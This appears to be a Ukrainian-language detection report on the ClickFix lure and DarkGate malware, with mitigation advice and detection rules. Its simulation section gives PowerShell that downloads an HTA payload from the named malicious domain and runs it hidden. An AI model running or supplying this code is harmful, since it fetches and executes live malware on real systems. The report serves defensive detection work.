Дослідження ClickFix: шкідливе програмне забезпечення DarkGate
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт окреслює метод соціальної інженерії під назвою ClickFix, який спонукає користувачів копіювати та виконувати команду PowerShell, яка потім завантажує шкідливий файл HTA. Цей файл HTA, у свою чергу, завантажує додаткові компоненти, включаючи скрипт AutoIt, який створює каталоги, завантажує файли й встановлює зв’язок C2. Діяльність приписується кампанії DarkGate і базується на обфускації base64 і маніпуляціях із буфером обміну, щоб уникнути простого виявлення.
Розслідування
Аналітики розкрили кілька шарів закодованого в base64 вмісту, вбудованого в підроблену сторінку сповіщення про розширення для браузера, і відновили команду PowerShell, відповідальну за отримання dark.hta з linktoxic34.com. Після виконання HTA розгортає виконуваний файл AutoIt (fckhffh.a3x), який запускає процедуру DES і стартує подальші навантаження. На перехопленій мережевій телеметрії видно трафік HTTP(S) до шкідливого домену, за яким слідує ланцюгова команда PowerShell.
Пом’якшення
Рекомендовані заходи захисту включають тренування користувачів для уникнення копіювання невідомих фрагментів коду, вимкнення діалогу Windows Run за допомогою групової політики та розгортання поведінкових антивірусних рішень. Проактивне блокування шкідливого домену та моніторинг аномальних виконань PowerShell може значно зменшити ризик зараження DarkGate.
Реагування
Якщо виявлено подію, пов’язану з ClickFix, ізолюйте уражений кінцевий вузол, зупиніть усі шкідливі процеси, видаліть артефакти HTA і AutoIt і проведіть судову експертизу всіх папок, створених під час вторгнення. Оновіть логіку виявлення, щоб позначати підозрілі схеми виконання PowerShell і HTA, і переконайтесь, що відповідний домен заблоковано в середовищі.
Потік Атаки
Виявлення
Підозріла поведінка ухилення від захисту LOLBAS MSHTA шляхом виявлення пов’язаних команд (через process_creation)
Переглянути
Підозрілі строки Powershell (через powershell)
Переглянути
Файл AutoIT був виконаний з незвичайного розташування (через process_creation)
Переглянути
Підозрілі файли в загальному профілю користувача (через file_event)
Переглянути
Підозріле виконання з загального профілю користувача (через process_creation)
Переглянути
Виклик підозрілих методів .NET з Powershell (через powershell)
Переглянути
IOCs (HashSha256) для виявлення: ClickFix: DarkGate
Переглянути
Виявлення шкідливої активності PowerShell для завантаження файлу HTA [Мережеве підключення Windows]
Переглянути
Шкідлива активність PowerShell, що включає виконання HTA та маніпуляції з буфером обміну [Windows Powershell]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та основного рівня повинна бути пройдена.
Підстава: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначене для спрацювання правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і мають на меті генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
Атакуючий, який отримав доступ із низькими привілеями на скомпрометованій Windows-системі, бажає завантажити шкідливий HTA-навантаження, що використовується в кампанії ClickFix. Щоб залишатися ненав’язливим, атакуючий використовує PowerShell— вбудований інструмент Windows — тож зовнішні двійкові файли не вводяться. Команда виконується безпосередньо в консолі (або через заплановане завдання) і містить точну URL-адресу, яку спостерігає правило. Завантаження зберігається в каталозі користувача%TEMP%а потім виконується черезStart-Process.$url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $out = "$env:TEMPdark.hta" Invoke-WebRequest -Uri $url -OutFile $out Start-Process -FilePath $out -
Сценарій регресійного тестування: (самодостатній, відтворює вищезазначені кроки)
# Симуляція завантаження ClickFix HTA – спрацьовує Sigma-правило $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $destPath = "$env:TEMPdark.hta" try { Write-Host "[*] Завантажується шкідливе HTA payload..." Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing Write-Host "[+] Завантаження завершено. Виконую payload..." Start-Process -FilePath $destPath -WindowStyle Hidden } catch { Write-Error "Завантаження або виконання не вдалося: $_" } -
Команди очищення: (видаляє завантажений HTA і всі запущені примірники)
# Видалення файлу HTA та завершення всіх процесів, які можуть бути запущені з HTA (загальний приклад) $htaPath = "$env:TEMPdark.hta" if (Test-Path $htaPath) { Remove-Item $htaPath -Force Write-Host "[*] Файл HTA видалено." } # Знищення всіх процесів, які можуть бути запущені з HTA (загальний приклад) Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force